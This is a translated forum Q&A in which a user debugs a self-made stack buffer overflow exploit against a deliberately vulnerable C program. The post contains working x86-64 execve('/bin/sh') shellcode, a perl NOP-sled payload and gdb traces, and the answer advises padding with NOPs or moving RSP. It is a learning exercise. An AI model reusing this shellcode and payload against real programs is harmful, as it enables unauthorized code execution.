我正在测试堆栈中运行代码,导致溢出。我在堆栈中获得指向汇编程序代码的指令器指针,它开始运行。然而,在某一点上,指令似乎自行改变,我在解决这个问题时遇到了一些麻烦。
bug2.c:
#include <stdio.h>
# Very simple case, compiled by
# gcc -o bug2 -z execstack -fno-pie -fno-stack-protector bug2.c
int main(int argc, char * argv[]) {
char buf[256];
if(argc == 1) {
printf("Usage: %s input\n", argv[0]);
exit(0);
}
strcpy(buf,argv[1]);
printf("%s", buf);
}
scode3.asm:
SECTION .text
global _start
_start:
xor rdx, rdx
mov rbx, 0x68732f6e69622fff
shr rbx, 0x8
push rbx
mov rdi, rsp
xor rax, rax
push rax
push rdi
mov rsi, rsp
mov al, 0x3b
syscall
push 0x1
pop rdi
push 0x3c
pop rax
syscall
测试scode3.asm并获取shellcode:
$ nasm -f elf64 -o scode3.o scode3.asm
$ ld -o scode3 scode3.o
$ ./scode3
$ ... gave new shell... exit...
$ objdump -d scode3
scode3: file format elf64-x86-64
Disassembly of section .text:
0000000000400080 <_start>:
400080: 48 31 d2 xor %rdx,%rdx
400083: 48 bb ff 2f 62 69 6e movabs $0x68732f6e69622fff,%rbx
40008a: 2f 73 68
40008d: 48 c1 eb 08 shr $0x8,%rbx
400091: 53 push %rbx
400092: 48 89 e7 mov %rsp,%rdi
400095: 48 31 c0 xor %rax,%rax
400098: 50 push %rax
400099: 57 push %rdi
40009a: 48 89 e6 mov %rsp,%rsi
40009d: b0 3b mov $0x3b,%al
40009f: 0f 05 syscall
4000a1: 6a 01 pushq $0x1
4000a3: 5f pop %rdi
4000a4: 6a 3c pushq $0x3c
4000a6: 58 pop %rax
4000a7: 0f 05 syscall
This makes "\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f
\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31
\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01
\x5f\x6a\x3c\x58\x0f\x05"
然后测试:
gdb -q bug2
# Let's put breakpoint at the printf (see the c code)
> break *0x0000000000400641
Breakpoint 1 at 0x400641
> x/i 0x0000000000400641
0x400641 <main+123>: call 0x400490 <printf@plt>
# Run with something that overflows, puts assembler code in stack, and leaves a pointer in stack pointing to the beginning of the assembler code
> run `perl -e 'print "\x90" x (263-41) . "\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05" . "\x90\xbe\xdc\xff\xff\xff\x7f\x00\x00"'`
Starting program: /home/meh/bug2 `perl -e 'print "\x90" x (263-41) . "\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05" . "\x90\xbe\xdc\xff\xff\xff\x7f\x00\x00"'`
-----------------------------------------------------------------------------------------------------------------------[regs]
RAX: 0x0000000000000000 RBX: 0x0000000000000000 RCX: 0xBE90050F583C6A5F RDX: 0x007FFFFFFFDCBE90 o d I t s z a P c
RSI: 0x00007FFFFFFFDBE0 RDI: 0x00000000004006F1 RBP: 0x00007FFFFFFFDCE0 RSP: 0x00007FFFFFFFDBD0 RIP: 0x0000000000400641
R8 : 0x000000335BDB8E80 R9 : 0x000000335BDB8E80 R10: 0x000000000000005D R11: 0x000000335BB7F980 R12: 0x00000000004004D0
R13: 0x00007FFFFFFFDDC0 R14: 0x0000000000000000 R15: 0x0000000000000000
CS: 0033 DS: 0000 ES: 0000 FS: 0000 GS: 0000 SS: 002B
-----------------------------------------------------------------------------------------------------------------------[code]
=> 0x400641 <main+123>: call 0x400490 <printf@plt>
0x400646 <main+128>: leave
0x400647 <main+129>: ret
0x400648: nop DWORD PTR [rax+rax*1+0x0]
0x400650 <__libc_csu_init>: push r15
0x400652 <__libc_csu_init+2>: push r14
0x400654 <__libc_csu_init+4>: mov r15d,edi
0x400657 <__libc_csu_init+7>: push r13
-----------------------------------------------------------------------------------------------------------------------------
Breakpoint 1, 0x0000000000400641 in main ()
# Okay, now let's step to the point where the instruction pointer is at the code that was put in stack:
> n 3
0x00007fffffffdcbe in ?? ()
> x/16i 0x00007fffffffdcbe
=> 0x7fffffffdcbe: xor rdx,rdx
0x7fffffffdcc1: movabs rbx,0x68732f6e69622fff
0x7fffffffdccb: shr rbx,0x8
0x7fffffffdccf: push rbx
0x7fffffffdcd0: mov rdi,rsp
0x7fffffffdcd3: xor rax,rax
0x7fffffffdcd6: push rax
0x7fffffffdcd7: push rdi
0x7fffffffdcd8: mov rsi,rsp
0x7fffffffdcdb: mov al,0x3b
0x7fffffffdcdd: syscall
0x7fffffffdcdf: push 0x1
0x7fffffffdce1: pop rdi
0x7fffffffdce2: push 0x3c
0x7fffffffdce4: pop rax
0x7fffffffdce5: syscall
这看起来像是正确的代码。然后手动步进系统调用:
> si
=> 0x7fffffffdcd6: push rax
-----------------------------------------------------------------------------------------------------------------------[regs]
RAX: 0x0000000000000000 RBX: 0x0068732F6E69622F RCX: 0x000000007FFFFEF1 RDX: 0x0000000000000000 o d I t s Z a P c
RSI: 0x00000000004006F3 RDI: 0x00007FFFFFFFDCE8 RBP: 0x90050F583C6A5F01 RSP: 0x00007FFFFFFFDCE0 RIP: 0x00007FFFFFFFDCD7
R8 : 0x00000000FFFFFFFF R9 : 0x000000000000010E R10: 0x0000000000000022 R11: 0x0000000000000246 R12: 0x00000000004004D0
R13: 0x00007FFFFFFFDDC0 R14: 0x0000000000000000 R15: 0x0000000000000000
CS: 0033 DS: 0000 ES: 0000 FS: 0000 GS: 0000 SS: 002B
-----------------------------------------------------------------------------------------------------------------------[code]
=> 0x7fffffffdcd7: push rdi
0x7fffffffdcd8: mov rsi,rsp
0x7fffffffdcdb: mov al,0x3b
0x7fffffffdcdd: syscall
0x7fffffffdcdf: push 0x0
0x7fffffffdce1: add BYTE PTR [rax],al
0x7fffffffdce3: add BYTE PTR [rax],al
0x7fffffffdce5: add BYTE PTR [rax],al
-----------------------------------------------------------------------------------------------------------------------------
0x00007fffffffdcd7 in ?? ()
(gdb) > si
=> 0x7fffffffdcd7: push rdi
-----------------------------------------------------------------------------------------------------------------------[regs]
RAX: 0x0000000000000000 RBX: 0x0068732F6E69622F RCX: 0x000000007FFFFEF1 RDX: 0x0000000000000000 o d I t s Z a P c
RSI: 0x00000000004006F3 RDI: 0x00007FFFFFFFDCE8 RBP: 0x90050F583C6A5F01 RSP: 0x00007FFFFFFFDCD8 RIP: 0x00007FFFFFFFDCD8
R8 : 0x00000000FFFFFFFF R9 : 0x000000000000010E R10: 0x0000000000000022 R11: 0x0000000000000246 R12: 0x00000000004004D0
R13: 0x00007FFFFFFFDDC0 R14: 0x0000000000000000 R15: 0x0000000000000000
CS: 0033 DS: 0000 ES: 0000 FS: 0000 GS: 0000 SS: 002B
-----------------------------------------------------------------------------------------------------------------------[code]
=> 0x7fffffffdcd8: call 0x7fffffffdcb9
0x7fffffffdcdd: jg 0x7fffffffdcdf
0x7fffffffdcdf: add BYTE PTR [rax],al
0x7fffffffdce1: add BYTE PTR [rax],al
0x7fffffffdce3: add BYTE PTR [rax],al
0x7fffffffdce5: add BYTE PTR [rax],al
0x7fffffffdce7: add BYTE PTR [rdi],ch
0x7fffffffdce9: (bad)
-----------------------------------------------------------------------------------------------------------------------------
0x00007fffffffdcd8 in ?? ()
我期待下一条指令是mov rsi,rsp,但似乎从那一点开始的所有事情都发生了变化。
我怀疑推送到堆栈是否会覆盖我之前插入的数据(说明)?解决这个问题的最小方法是什么?
我尝试用
之类的东西来移动代码run `perl -e 'print "\x90" x (263-81) . "\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05" . "\x90" x 40 . "\x90\xbe\xdc\xff\xff\xff\x7f\x00\x00"'`
但它似乎对我没有帮助。
答案 0 :(得分:1)
我怀疑推送到堆栈是否会覆盖我之前插入的数据(说明)?解决这个问题的最小方法是什么?
这是对的,你实际上是在你自己的脚下修改代码(或者更确切地说,你自己的RIP)。 想到两个简单的解决方案
使用几十个免费的NOP指令启动你的shellcode,这样当你到达PUSH指令时被覆盖的是你背后的NOP,而不是你当前试图运行的代码。
如果您不打算从shellcode返回正常的堆栈帧并且您有严格的大小限制,则可以将RSP向上移动一点,以便PusHes不会在您当前的RIP下发生。 这将覆盖堆栈上的重要信息,但您可能不介意,如果您已经在那里运行shellcode。